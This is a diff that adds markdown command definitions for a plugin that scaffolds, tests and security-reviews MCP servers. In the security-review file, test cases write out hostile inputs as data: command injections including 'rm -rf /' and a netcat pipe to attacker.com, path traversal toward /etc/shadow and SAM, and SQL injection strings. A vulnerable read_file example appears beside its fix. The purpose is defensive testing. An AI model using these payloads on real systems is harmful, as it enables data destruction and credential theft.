- .env.example
|
||||
- claude-desktop-config.example.json
|
||||
- Dockerfile
|
||||
- docker-compose.yml
|
||||
|
||||
Documentation:
|
||||
- README.md
|
||||
- API.md
|
||||
- TROUBLESHOOTING.md
|
||||
- SECURITY.md
|
||||
- CONTRIBUTING.md
|
||||
- CHANGELOG.md
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Your MCP server is ready for use! 🎉
|
||||
|
||||
For support or questions, see TROUBLESHOOTING.md or open an issue.
|
||||
```
|
||||
|
||||
## Example Full Workflow
|
||||
|
||||
```
|
||||
User: /mcp-full-stack-dev GitHub integration server
|
||||
|
||||
[Step 1: Requirements]
|
||||
Gathering requirements...
|
||||
Tools: create_issue, list_repos, create_pr, search_code, get_pr_status
|
||||
Resources: repos, issues, pull_requests
|
||||
Authentication: GitHub Personal Access Token
|
||||
Language: Python
|
||||
|
||||
[Step 2: Architecture]
|
||||
Launching mcp-server-architect...
|
||||
✓ Architecture complete
|
||||
- 5 tools designed
|
||||
- 3 resources designed
|
||||
- 2 prompts designed
|
||||
|
||||
[Step 3: Initialization]
|
||||
Running /mcp-init-project...
|
||||
✓ Project structure created
|
||||
✓ Git repository initialized
|
||||
|
||||
[Step 4: Implementation]
|
||||
Launching mcp-python-developer...
|
||||
✓ Server implemented with FastMCP
|
||||
✓ All tools implemented
|
||||
✓ All resources implemented
|
||||
✓ Configuration management added
|
||||
|
||||
[Step 5: Testing]
|
||||
Launching mcp-testing-engineer...
|
||||
✓ 28 tests created
|
||||
✓ Coverage: 89%
|
||||
✓ All tests passing
|
||||
|
||||
[Step 6: Security Review]
|
||||
Launching mcp-security-reviewer...
|
||||
✓ Security review complete
|
||||
✓ 2 medium issues found and fixed
|
||||
✓ No critical issues
|
||||
|
||||
[Step 7: Deployment]
|
||||
Launching mcp-deployment-engineer...
|
||||
✓ Claude Desktop config created
|
||||
✓ Docker configuration created
|
||||
✓ Documentation complete
|
||||
|
||||
[Step 8: Integration Testing]
|
||||
✓ Local installation tested
|
||||
✓ MCP Inspector validation passed
|
||||
✓ Claude Desktop integration verified
|
||||
✓ Docker deployment tested
|
||||
|
||||
[Step 9: Final Documentation]
|
||||
✓ All documentation complete
|
||||
|
||||
[Step 10: Handoff]
|
||||
✓ Complete project summary generated
|
||||
|
||||
🎉 github-mcp-server is ready for production use!
|
||||
```
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] Requirements fully documented
|
||||
- [ ] Architecture designed and approved
|
||||
- [ ] Project structure created
|
||||
- [ ] Complete implementation
|
||||
- [ ] All tests passing (>80% coverage)
|
||||
- [ ] Security review complete with fixes
|
||||
- [ ] Deployment configuration ready
|
||||
- [ ] All documentation complete
|
||||
- [ ] MCP Inspector validation passed
|
||||
- [ ] Claude Desktop integration tested
|
||||
- [ ] Docker deployment tested
|
||||
- [ ] User has production-ready MCP server
|
||||
|
||||
This command provides the complete end-to-end orchestrated workflow for professional MCP server development.
|
||||
332
commands/mcp-init-project.md
Normal file
332
commands/mcp-init-project.md
Normal file
@@ -0,0 +1,332 @@
|
||||
---
|
||||
description: Initialize new MCP server or client project
|
||||
argument-hint: Project type (server/client) and language (python/typescript)
|
||||
---
|
||||
|
||||
# Initialize MCP Project
|
||||
|
||||
Initialize a new MCP server or client project with proper structure, dependencies, and configuration.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/mcp-init-project [type] [language]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `type`: Project type - either "server" or "client"
|
||||
- `language`: Programming language - either "python" or "typescript"
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/mcp-init-project server python
|
||||
/mcp-init-project client typescript
|
||||
/mcp-init-project server typescript
|
||||
/mcp-init-project client python
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This command creates a complete project structure for an MCP server or client with:
|
||||
- Proper directory structure
|
||||
- Configuration files (pyproject.toml, package.json, tsconfig.json)
|
||||
- Example implementations
|
||||
- Testing setup
|
||||
- Development tools configuration
|
||||
- Documentation templates
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Gather Project Requirements
|
||||
|
||||
Ask the user for:
|
||||
1. **Project name**: What should this project be called?
|
||||
2. **Project description**: Brief description of what it does
|
||||
3. **Author information**: Name and email
|
||||
4. **License**: MIT, Apache-2.0, etc. (default: MIT)
|
||||
5. **Additional features**:
|
||||
- For servers: What tools/resources/prompts to include?
|
||||
- For clients: Which servers to connect to?
|
||||
|
||||
### Step 2: Create Project Structure
|
||||
|
||||
Based on project type and language, create the appropriate directory structure:
|
||||
|
||||
**Python Server:**
|
||||
```
|
||||
project-name/
|
||||
├── src/
|
||||
│ └── project_name/
|
||||
│ ├── __init__.py
|
||||
│ ├── __main__.py
|
||||
│ ├── server.py
|
||||
│ ├── config.py
|
||||
│ └── tools/
|
||||
│ └── __init__.py
|
||||
├── tests/
|
||||
│ ├── __init__.py
|
||||
│ └── test_tools.py
|
||||
├── pyproject.toml
|
||||
├── README.md
|
||||
├── LICENSE
|
||||
├── .env.example
|
||||
├── .gitignore
|
||||
└── Dockerfile
|
||||
```
|
||||
|
||||
**TypeScript Server:**
|
||||
```
|
||||
project-name/
|
||||
├── src/
|
||||
│ ├── index.ts
|
||||
│ ├── server.ts
|
||||
│ ├── config.ts
|
||||
│ └── tools/
|
||||
│ └── index.ts
|
||||
├── tests/
|
||||
│ └── tools.test.ts
|
||||
├── package.json
|
||||
├── tsconfig.json
|
||||
├── jest.config.js
|
||||
├── README.md
|
||||
├── LICENSE
|
||||
├── .env.example
|
||||
├── .gitignore
|
||||
└── Dockerfile
|
||||
```
|
||||
|
||||
### Step 3: Generate Configuration Files
|
||||
|
||||
Create all necessary configuration files:
|
||||
|
||||
**Python (pyproject.toml):**
|
||||
- Use hatchling build system
|
||||
- Set Python >= 3.11 requirement
|
||||
- Include fastmcp or mcp SDK dependency
|
||||
- Add dev dependencies (pytest, black, ruff)
|
||||
- Configure entry point script
|
||||
|
||||
**TypeScript (package.json + tsconfig.json):**
|
||||
- Set CommonJS module system
|
||||
- Use @modelcontextprotocol/sdk
|
||||
- Include zod for validation
|
||||
- Add dev dependencies (typescript, jest, ts-jest)
|
||||
- Configure build scripts
|
||||
|
||||
### Step 4: Create Example Implementation
|
||||
|
||||
**For Servers:**
|
||||
- Create example tool (e.g., echo, create_file)
|
||||
- Create example resource (e.g., file:// resource)
|
||||
- Create example prompt template
|
||||
- Set up proper error handling
|
||||
- Add input validation
|
||||
|
||||
**For Clients:**
|
||||
- Create connection setup code
|
||||
- Add tool listing/calling examples
|
||||
- Add resource reading examples
|
||||
- Implement error handling
|
||||
- Add retry logic
|
||||
|
||||
### Step 5: Set Up Testing
|
||||
|
||||
**Python:**
|
||||
- Create pytest configuration
|
||||
- Add conftest.py with shared fixtures
|
||||
- Create example unit tests for tools
|
||||
- Add integration test template
|
||||
|
||||
**TypeScript:**
|
||||
- Create jest.config.js
|
||||
- Add example unit tests
|
||||
- Set up test helpers
|
||||
- Add integration test template
|
||||
|
||||
### Step 6: Create Documentation
|
||||
|
||||
Create comprehensive README.md with:
|
||||
- Project description
|
||||
- Features list
|
||||
- Installation instructions
|
||||
- Configuration guide
|
||||
- Usage examples
|
||||
- Development setup
|
||||
- Testing instructions
|
||||
|
||||
### Step 7: Add Development Tools
|
||||
|
||||
**Create files:**
|
||||
- `.gitignore` (exclude node_modules, build, .env, etc.)
|
||||
- `.env.example` (template for environment variables)
|
||||
- `Dockerfile` (for containerization)
|
||||
- `LICENSE` (with chosen license text)
|
||||
|
||||
**Python additional:**
|
||||
- `.python-version` or `pyproject.toml` tool config for black, ruff
|
||||
|
||||
**TypeScript additional:**
|
||||
- `.prettierrc` (code formatting)
|
||||
- `.eslintrc.json` (linting)
|
||||
|
||||
### Step 8: Initialize Git Repository
|
||||
|
||||
```bash
|
||||
git init
|
||||
git add .
|
||||
git commit -m "Initial commit: Set up [project-name] MCP [server/client]"
|
||||
```
|
||||
|
||||
### Step 9: Provide Next Steps
|
||||
|
||||
Give the user clear instructions on:
|
||||
|
||||
1. **Install dependencies:**
|
||||
```bash
|
||||
# Python
|
||||
pip install -e .[dev]
|
||||
|
||||
# TypeScript
|
||||
npm install
|
||||
```
|
||||
|
||||
2. **Configure environment:**
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# Edit .env with your API keys
|
||||
```
|
||||
|
||||
3. **Run tests:**
|
||||
```bash
|
||||
# Python
|
||||
pytest
|
||||
|
||||
# TypeScript
|
||||
npm test
|
||||
```
|
||||
|
||||
4. **Run development server:**
|
||||
```bash
|
||||
# Python
|
||||
python -m project_name
|
||||
|
||||
# TypeScript
|
||||
npm run dev
|
||||
```
|
||||
|
||||
5. **For servers, test with MCP Inspector:**
|
||||
```bash
|
||||
# Python
|
||||
mcp-inspector python -m project_name
|
||||
|
||||
# TypeScript
|
||||
mcp-inspector node build/index.js
|
||||
```
|
||||
|
||||
6. **For servers, add to Claude Desktop:**
|
||||
- Edit `~/Library/Application Support/Claude/claude_desktop_config.json`
|
||||
- Add server configuration
|
||||
- Restart Claude Desktop
|
||||
|
||||
## Example Output
|
||||
|
||||
```
|
||||
Created MCP Server project: my-github-tools
|
||||
|
||||
✓ Created project structure
|
||||
✓ Generated pyproject.toml
|
||||
✓ Created example tools (create_issue, list_repos)
|
||||
✓ Set up pytest testing
|
||||
✓ Created README.md
|
||||
✓ Added .gitignore and .env.example
|
||||
✓ Created Dockerfile
|
||||
✓ Initialized git repository
|
||||
|
||||
Next steps:
|
||||
1. cd my-github-tools
|
||||
2. pip install -e .[dev]
|
||||
3. cp .env.example .env
|
||||
4. Edit .env and add your GITHUB_TOKEN
|
||||
5. pytest # Run tests
|
||||
6. python -m my_github_tools # Start server
|
||||
|
||||
To test with MCP Inspector:
|
||||
mcp-inspector python -m my_github_tools
|
||||
|
||||
To add to Claude Desktop, edit:
|
||||
~/Library/Application Support/Claude/claude_desktop_config.json
|
||||
|
||||
Add:
|
||||
{
|
||||
"mcpServers": {
|
||||
"github-tools": {
|
||||
"command": "uvx",
|
||||
"args": ["my-github-tools"],
|
||||
"env": {
|
||||
"GITHUB_TOKEN": "your-token-here"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Template Files
|
||||
|
||||
The command should create these template files with proper content:
|
||||
|
||||
### Example Python Server Tool
|
||||
|
||||
```python
|
||||
from fastmcp import FastMCP
|
||||
|
||||
mcp = FastMCP("example-server")
|
||||
|
||||
@mcp.tool()
|
||||
def echo(message: str) -> dict:
|
||||
"""Echoes back the input message.
|
||||
|
||||
Args:
|
||||
message: Message to echo
|
||||
|
||||
Returns:
|
||||
dict with echoed message
|
||||
"""
|
||||
return {
|
||||
"success": True,
|
||||
"message": message
|
||||
}
|
||||
```
|
||||
|
||||
### Example TypeScript Server Tool
|
||||
|
||||
```typescript
|
||||
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
|
||||
import { Tool } from "@modelcontextprotocol/sdk/types.js";
|
||||
|
||||
const echoTool: Tool = {
|
||||
name: "echo",
|
||||
description: "Echoes back the input message",
|
||||
inputSchema: {
|
||||
type: "object",
|
||||
properties: {
|
||||
message: {
|
||||
type: "string",
|
||||
description: "Message to echo"
|
||||
}
|
||||
},
|
||||
required: ["message"]
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] Project structure created
|
||||
- [ ] All configuration files generated
|
||||
- [ ] Example implementations added
|
||||
- [ ] Tests set up and passing
|
||||
- [ ] Documentation complete
|
||||
- [ ] Git repository initialized
|
||||
- [ ] User has clear next steps
|
||||
|
||||
This command sets up a production-ready MCP project foundation that follows best practices and is ready for development.
|
||||
578
commands/review-mcp-security.md
Normal file
578
commands/review-mcp-security.md
Normal file
@@ -0,0 +1,578 @@
|
||||
---
|
||||
description: Security review of MCP server or client
|
||||
argument-hint: Path to MCP project for security review
|
||||
---
|
||||
|
||||
# Security Review of MCP Implementation
|
||||
|
||||
Perform comprehensive security review of an MCP server or client implementation.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/review-mcp-security [project-path]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `project-path`: Path to MCP project directory (optional, defaults to current directory)
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/review-mcp-security
|
||||
/review-mcp-security ./my-mcp-server
|
||||
/review-mcp-security ../production-mcp-client
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This command performs a thorough security review of an MCP implementation, checking for:
|
||||
- Input validation vulnerabilities
|
||||
- Path traversal issues
|
||||
- Command/SQL injection risks
|
||||
- API key exposure
|
||||
- Information disclosure
|
||||
- Dependency vulnerabilities
|
||||
- Rate limiting issues
|
||||
- Transport security
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Detect Project Details
|
||||
|
||||
Analyze the project to gather information:
|
||||
1. **Type**: Server or Client?
|
||||
2. **Language**: Python or TypeScript?
|
||||
3. **External Integrations**: APIs, databases, filesystems?
|
||||
4. **Authentication**: How are credentials managed?
|
||||
5. **Transport**: stdio, SSE, or both?
|
||||
|
||||
### Step 2: Launch Security Reviewer Agent
|
||||
|
||||
Use the Task tool to launch `mcp-security-reviewer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Perform comprehensive security review of MCP [server/client]:
|
||||
|
||||
Project: [project name]
|
||||
Location: [project path]
|
||||
Language: [Python/TypeScript]
|
||||
Type: [Server/Client]
|
||||
|
||||
Review Areas:
|
||||
1. Input Validation
|
||||
- Tool parameter validation
|
||||
- Resource URI parsing
|
||||
- File path handling
|
||||
- SQL query construction (if applicable)
|
||||
- Command execution parameters
|
||||
|
||||
2. Authentication & Authorization
|
||||
- API key management
|
||||
- Token storage and handling
|
||||
- Permission checking
|
||||
- Rate limiting
|
||||
|
||||
3. Data Access Controls
|
||||
- File system access restrictions
|
||||
- Database query permissions
|
||||
- API endpoint access
|
||||
- Resource whitelisting
|
||||
|
||||
4. Information Disclosure
|
||||
- Error messages
|
||||
- Log output
|
||||
- Stack traces
|
||||
- Debug information
|
||||
|
||||
5. Dependency Security
|
||||
- Known vulnerabilities
|
||||
- Outdated packages
|
||||
- Malicious packages
|
||||
|
||||
6. Transport Security (if SSE)
|
||||
- HTTPS usage
|
||||
- Certificate validation
|
||||
- Man-in-the-middle protection
|
||||
|
||||
Deliverables:
|
||||
- Complete security review report
|
||||
- Vulnerability list with severity (Critical/High/Medium/Low)
|
||||
- Specific code locations
|
||||
- Remediation recommendations with code examples
|
||||
- Security checklist results
|
||||
```
|
||||
|
||||
### Step 3: Run Automated Security Scans
|
||||
|
||||
**Python Security Scanning:**
|
||||
|
||||
```bash
|
||||
# Install security tools
|
||||
pip install bandit safety pip-audit
|
||||
|
||||
# Bandit - code security scanner
|
||||
bandit -r src/ -f json -o bandit-report.json
|
||||
|
||||
# Safety - dependency vulnerability checker
|
||||
safety check --json > safety-report.json
|
||||
|
||||
# pip-audit - check for vulnerable dependencies
|
||||
pip-audit --format json > pip-audit-report.json
|
||||
```
|
||||
|
||||
**TypeScript Security Scanning:**
|
||||
|
||||
```bash
|
||||
# npm audit - check for vulnerable dependencies
|
||||
npm audit --json > npm-audit-report.json
|
||||
|
||||
# Snyk - comprehensive security scanning
|
||||
npm install -g snyk
|
||||
snyk auth
|
||||
snyk test --json > snyk-report.json
|
||||
|
||||
# ESLint with security plugin
|
||||
npm install -g eslint eslint-plugin-security
|
||||
eslint --ext .ts src/ --format json > eslint-security-report.json
|
||||
```
|
||||
|
||||
### Step 4: Manual Code Review
|
||||
|
||||
Review critical security-sensitive code areas:
|
||||
|
||||
**For Servers:**
|
||||
|
||||
1. **Tool Input Validation:**
|
||||
```python
|
||||
# Check each tool for proper validation
|
||||
@mcp.tool()
|
||||
def read_file(path: str) -> dict:
|
||||
# LOOK FOR:
|
||||
# - Path sanitization
|
||||
# - Base directory restriction
|
||||
# - Input length limits
|
||||
# - Character whitelisting
|
||||
```
|
||||
|
||||
2. **Command Execution:**
|
||||
```python
|
||||
# Check for shell=True usage (DANGEROUS)
|
||||
subprocess.run(command, shell=True) # ❌ VULNERABLE
|
||||
|
||||
# Should use array and shell=False
|
||||
subprocess.run([cmd, arg1, arg2], shell=False) # ✓ SAFE
|
||||
```
|
||||
|
||||
3. **SQL Queries:**
|
||||
```python
|
||||
# Check for string concatenation (VULNERABLE)
|
||||
query = f"SELECT * FROM users WHERE id = {user_id}" # ❌
|
||||
|
||||
# Should use parameterized queries
|
||||
query = "SELECT * FROM users WHERE id = ?" # ✓
|
||||
db.execute(query, (user_id,))
|
||||
```
|
||||
|
||||
4. **API Key Management:**
|
||||
```python
|
||||
# Check for hardcoded secrets (VULNERABLE)
|
||||
API_KEY = "sk-1234567890" # ❌
|
||||
|
||||
# Should use environment variables
|
||||
API_KEY = os.getenv("API_KEY") # ✓
|
||||
```
|
||||
|
||||
**For Clients:**
|
||||
|
||||
1. **Server Connection Validation:**
|
||||
2. **Tool Parameter Sanitization:**
|
||||
3. **Resource URI Validation:**
|
||||
4. **Credential Storage:**
|
||||
|
||||
### Step 5: Check Security Best Practices
|
||||
|
||||
Verify implementation of security best practices:
|
||||
|
||||
**Input Validation Checklist:**
|
||||
- [ ] All tool parameters validated
|
||||
- [ ] Type checking enforced (Pydantic/Zod)
|
||||
- [ ] Input length limits set
|
||||
- [ ] Character whitelisting for sensitive inputs
|
||||
- [ ] Regex patterns validated
|
||||
|
||||
**File System Security:**
|
||||
- [ ] Base directory restrictions enforced
|
||||
- [ ] Path traversal prevention implemented
|
||||
- [ ] Symlink attack prevention
|
||||
- [ ] File type validation
|
||||
- [ ] Size limits enforced
|
||||
|
||||
**Command Execution Security:**
|
||||
- [ ] shell=False always used
|
||||
- [ ] Command whitelist implemented
|
||||
- [ ] Argument sanitization
|
||||
- [ ] Timeout limits set
|
||||
|
||||
**Database Security:**
|
||||
- [ ] Parameterized queries only
|
||||
- [ ] Read-only connections where possible
|
||||
- [ ] Query timeout limits
|
||||
- [ ] Connection pooling secure
|
||||
|
||||
**API Security:**
|
||||
- [ ] Credentials in environment variables
|
||||
- [ ] No secrets in logs
|
||||
- [ ] HTTPS only for external APIs
|
||||
- [ ] Certificate validation enabled
|
||||
- [ ] Timeout limits set
|
||||
|
||||
**Error Handling:**
|
||||
- [ ] No stack traces to users
|
||||
- [ ] Generic error messages
|
||||
- [ ] Detailed errors logged securely
|
||||
- [ ] Error correlation IDs
|
||||
|
||||
**Rate Limiting:**
|
||||
- [ ] Per-tool rate limits
|
||||
- [ ] Per-user rate limits (if applicable)
|
||||
- [ ] Global rate limits
|
||||
- [ ] Backoff strategies
|
||||
|
||||
**Logging:**
|
||||
- [ ] No credentials logged
|
||||
- [ ] Sensitive data redacted
|
||||
- [ ] Security events logged
|
||||
- [ ] Log rotation configured
|
||||
|
||||
### Step 6: Dependency Vulnerability Assessment
|
||||
|
||||
Analyze all dependencies for known vulnerabilities:
|
||||
|
||||
**Python:**
|
||||
```bash
|
||||
# Check all dependencies
|
||||
safety check --full-report
|
||||
|
||||
# Check specific package
|
||||
pip show package-name
|
||||
```
|
||||
|
||||
**TypeScript:**
|
||||
```bash
|
||||
# Check all dependencies
|
||||
npm audit
|
||||
|
||||
# Fix automatically where possible
|
||||
npm audit fix
|
||||
|
||||
# Check for major updates
|
||||
npm outdated
|
||||
```
|
||||
|
||||
**Create Dependency Report:**
|
||||
|
||||
| Package | Current | Vulnerability | Severity | Fixed In | Action |
|
||||
|---------|---------|---------------|----------|----------|--------|
|
||||
| requests | 2.25.0 | CVE-2023-xxxxx | High | 2.31.0 | Update |
|
||||
| axios | 0.21.1 | CVE-2021-3749 | Critical | 0.21.2 | Update |
|
||||
|
||||
### Step 7: Test Security Scenarios
|
||||
|
||||
Run security-specific tests:
|
||||
|
||||
```python
|
||||
import pytest
|
||||
|
||||
class TestSecurityScenarios:
|
||||
"""Security-focused test cases"""
|
||||
|
||||
def test_path_traversal_prevention(self):
|
||||
"""Attempt path traversal attacks"""
|
||||
malicious_paths = [
|
||||
"../../../etc/passwd",
|
||||
"..\\..\\..\\windows\\system32\\config\\sam",
|
||||
"/etc/shadow",
|
||||
"C:\\Windows\\System32\\config\\SAM"
|
||||
]
|
||||
|
||||
for path in malicious_paths:
|
||||
result = mcp.call_tool("read_file", {"path": path})
|
||||
assert result["success"] is False
|
||||
assert "access denied" in result["error"].lower()
|
||||
|
||||
def test_command_injection_prevention(self):
|
||||
"""Attempt command injection"""
|
||||
malicious_commands = [
|
||||
"ls; rm -rf /",
|
||||
"ls && cat /etc/passwd",
|
||||
"ls | nc attacker.com 4444"
|
||||
]
|
||||
|
||||
for cmd in malicious_commands:
|
||||
result = mcp.call_tool("run", {"command": cmd})
|
||||
assert result["success"] is False
|
||||
|
||||
def test_sql_injection_prevention(self):
|
||||
"""Attempt SQL injection"""
|
||||
malicious_inputs = [
|
||||
"admin' OR '1'='1",
|
||||
"'; DROP TABLE users; --",
|
||||
"admin' UNION SELECT password FROM users--"
|
||||
]
|
||||
|
||||
for username in malicious_inputs:
|
||||
result = mcp.call_tool("search_user", {"username": username})
|
||||
# Should not return unauthorized data
|
||||
assert result.get("users", []) == []
|
||||
|
||||
def test_no_secrets_in_errors(self):
|
||||
"""Ensure secrets not exposed in errors"""
|
||||
result = mcp.call_tool("api_call_with_token", {"endpoint": "/invalid"})
|
||||
|
||||
# Check error doesn't contain API key
|
||||
error_str = str(result).lower()
|
||||
assert "api_key" not in error_str
|
||||
assert "token" not in error_str
|
||||
assert "secret" not in error_str
|
||||
|
||||
def test_rate_limiting(self):
|
||||
"""Verify rate limiting works"""
|
||||
# Make many requests rapidly
|
||||
results = []
|
||||
for i in range(150):
|
||||
result = mcp.call_tool("expensive_operation", {})
|
||||
results.append(result)
|
||||
|
||||
# Some requests should be rate limited
|
||||
rate_limited = [r for r in results if "rate limit" in r.get("error", "").lower()]
|
||||
assert len(rate_limited) > 0
|
||||
```
|
||||
|
||||
### Step 8: Generate Security Report
|
||||
|
||||
Create comprehensive security report:
|
||||
|
||||
```markdown
|
||||
# Security Review Report
|
||||
|
||||
**Project**: [project name]
|
||||
**Version**: [version]
|
||||
**Review Date**: [date]
|
||||
**Reviewer**: Security Review Agent
|
||||
|
||||
## Executive Summary
|
||||
|
||||
[Brief overview of security posture]
|
||||
|
||||
**Overall Risk Level**: [Low/Medium/High/Critical]
|
||||
|
||||
**Summary**:
|
||||
- Critical Issues: [count]
|
||||
- High Severity: [count]
|
||||
- Medium Severity: [count]
|
||||
- Low Severity: [count]
|
||||
- Informational: [count]
|
||||
|
||||
## Critical Vulnerabilities (Fix Immediately)
|
||||
|
||||
### 1. Path Traversal in read_file Tool
|
||||
|
||||
**Severity**: Critical
|
||||
**CWE**: CWE-22 (Path Traversal)
|
||||
**Location**: `src/tools/filesystem.py:45`
|
||||
|
||||
**Description**:
|
||||
The `read_file` tool does not validate file paths, allowing attackers to read arbitrary files on the system.
|
||||
|
||||
**Vulnerable Code**:
|
||||
```python
|
||||
@mcp.tool()
|
||||
def read_file(path: str) -> dict:
|
||||
with open(path, 'r') as f:
|
||||
return {"content": f.read()}
|
||||
```
|
||||
|
||||
**Proof of Concept**:
|
||||
```
|
||||
read_file(path="../../../etc/passwd")
|
||||
```
|
||||
|
||||
**Impact**:
|
||||
Attackers can read sensitive files including:
|
||||
- /etc/passwd, /etc/shadow
|
||||
- SSH keys
|
||||
- Application secrets
|
||||
- Database credentials
|
||||
|
||||
**Remediation**:
|
||||
```python
|
||||
from pathlib import Path
|
||||
|
||||
BASE_DIR = Path("/safe/data/directory").resolve()
|
||||
|
||||
@mcp.tool()
|
||||
def read_file(path: str) -> dict:
|
||||
try:
|
||||
# Resolve and validate path
|
||||
file_path = (BASE_DIR / path).resolve()
|
||||
file_path.relative_to(BASE_DIR) # Raises ValueError if outside BASE_DIR
|
||||
|
||||
with open(file_path, 'r') as f:
|
||||
return {"success": True, "content": f.read()}
|
||||
|
||||
except ValueError:
|
||||
return {"success": False, "error": "Access denied"}
|
||||
except Exception as e:
|
||||
return {"success": False, "error": "Read failed"}
|
||||
```
|
||||
|
||||
[Continue for all critical issues...]
|
||||
|
||||
## High Severity Issues
|
||||
|
||||
[List all high severity issues with similar format]
|
||||
|
||||
## Medium Severity Issues
|
||||
|
||||
[List all medium severity issues]
|
||||
|
||||
## Low Severity Issues
|
||||
|
||||
[List all low severity issues]
|
||||
|
||||
## Dependency Vulnerabilities
|
||||
|
||||
| Package | Version | Vulnerability | Severity | Fixed Version |
|
||||
|---------|---------|---------------|----------|---------------|
|
||||
| [package] | [current] | [CVE-ID] | [severity] | [fixed] |
|
||||
|
||||
## Security Checklist
|
||||
|
||||
### Input Validation
|
||||
- [ ] Tool parameters validated ❌
|
||||
- [ ] Type checking enforced ✓
|
||||
- [ ] Length limits set ✓
|
||||
- [ ] Character whitelisting ❌
|
||||
|
||||
### Authentication & Authorization
|
||||
- [ ] API keys in environment ❌ (hardcoded in config.py)
|
||||
- [ ] No secrets in code ❌
|
||||
- [ ] Rate limiting implemented ✓
|
||||
- [ ] Token validation ✓
|
||||
|
||||
### Data Access
|
||||
- [ ] File system restricted ❌ (CRITICAL)
|
||||
- [ ] SQL injection prevented ✓
|
||||
- [ ] Command injection prevented ❌ (HIGH)
|
||||
|
||||
### Error Handling
|
||||
- [ ] No stack traces exposed ✓
|
||||
- [ ] Generic error messages ✓
|
||||
- [ ] Secrets not in logs ⚠️ (needs verification)
|
||||
|
||||
## Recommendations
|
||||
|
||||
### Immediate Actions (Within 1 Week)
|
||||
1. **Fix path traversal** in read_file tool
|
||||
2. **Remove hardcoded API keys** - move to environment variables
|
||||
3. **Fix command injection** in run_command tool
|
||||
4. **Update vulnerable dependencies**:
|
||||
- requests: 2.25.0 → 2.31.0
|
||||
- axios: 0.21.1 → 1.6.0
|
||||
|
||||
### Short Term (Within 1 Month)
|
||||
1. Implement comprehensive input validation for all tools
|
||||
2. Add rate limiting to all expensive operations
|
||||
3. Implement security logging for audit trail
|
||||
4. Add automated security scanning to CI/CD
|
||||
|
||||
### Long Term
|
||||
1. Regular security audits (quarterly)
|
||||
2. Automated dependency updates
|
||||
3. Security training for development team
|
||||
4. Penetration testing
|
||||
|
||||
## Testing Recommendations
|
||||
|
||||
Add these security tests:
|
||||
```python
|
||||
# tests/security/test_security.py
|
||||
def test_path_traversal():
|
||||
"""Verify path traversal prevention"""
|
||||
|
||||
def test_command_injection():
|
||||
"""Verify command injection prevention"""
|
||||
|
||||
def test_no_hardcoded_secrets():
|
||||
"""Scan codebase for hardcoded secrets"""
|
||||
```
|
||||
|
||||
## Compliance
|
||||
|
||||
- [ ] OWASP Top 10 addressed
|
||||
- [ ] CWE Top 25 reviewed
|
||||
- [ ] Secure coding practices followed
|
||||
- [ ] Security documentation present
|
||||
|
||||
## Conclusion
|
||||
|
||||
[Overall assessment and required actions]
|
||||
|
||||
**Next Review**: [recommended date]
|
||||
```
|
||||
|
||||
### Step 9: Provide Remediation Guidance
|
||||
|
||||
For each vulnerability, provide:
|
||||
1. **Detailed explanation** of the issue
|
||||
2. **Severity rating** with justification
|
||||
3. **Working code example** showing the fix
|
||||
4. **Testing recommendations**
|
||||
5. **Additional resources**
|
||||
|
||||
### Step 10: Generate Summary
|
||||
|
||||
```
|
||||
✓ Security Review Complete: [project-name]
|
||||
|
||||
Security Assessment:
|
||||
Overall Risk: HIGH ⚠️
|
||||
Critical Issues: 2
|
||||
High Severity: 3
|
||||
Medium Severity: 5
|
||||
Low Severity: 8
|
||||
|
||||
Top Issues to Fix:
|
||||
1. [CRITICAL] Path traversal in read_file tool
|
||||
2. [CRITICAL] Hardcoded API keys in config.py
|
||||
3. [HIGH] Command injection in run_command
|
||||
4. [HIGH] SQL injection in search_users
|
||||
5. [HIGH] Information disclosure in error messages
|
||||
|
||||
Dependency Issues:
|
||||
- 3 packages with known vulnerabilities
|
||||
- 2 packages severely outdated
|
||||
|
||||
Recommendations:
|
||||
⚠️ Fix critical issues immediately before deployment
|
||||
⚠️ Update all vulnerable dependencies
|
||||
✓ Add security tests to test suite
|
||||
✓ Implement automated security scanning in CI/CD
|
||||
|
||||
Detailed report: ./security-report.md
|
||||
Scan results: ./security-scans/
|
||||
```
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] Security review agent completed analysis
|
||||
- [ ] Automated security scans run
|
||||
- [ ] Manual code review performed
|
||||
- [ ] Security test cases created
|
||||
- [ ] Vulnerabilities documented with severity
|
||||
- [ ] Remediation guidance provided
|
||||
- [ ] Security report generated
|
||||
- [ ] Dependencies checked for vulnerabilities
|
||||
|
||||
This command ensures MCP implementations follow security best practices and are safe for production use.
|
||||
441
commands/test-mcp.md
Normal file
441
commands/test-mcp.md
Normal file
@@ -0,0 +1,441 @@
|
||||
---
|
||||
description: Test MCP server or client functionality
|
||||
argument-hint: Path to MCP project to test
|
||||
---
|
||||
|
||||
# Test MCP Server or Client
|
||||
|
||||
Run comprehensive tests on an MCP server or client implementation.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/test-mcp [project-path]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `project-path`: Path to MCP project directory (optional, defaults to current directory)
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/test-mcp
|
||||
/test-mcp ./my-mcp-server
|
||||
/test-mcp ../github-mcp-client
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This command runs a comprehensive test suite on an MCP implementation including:
|
||||
- Unit tests for tools/resources/prompts
|
||||
- Integration tests with MCP Inspector
|
||||
- Protocol compliance validation
|
||||
- Error scenario testing
|
||||
- Performance testing
|
||||
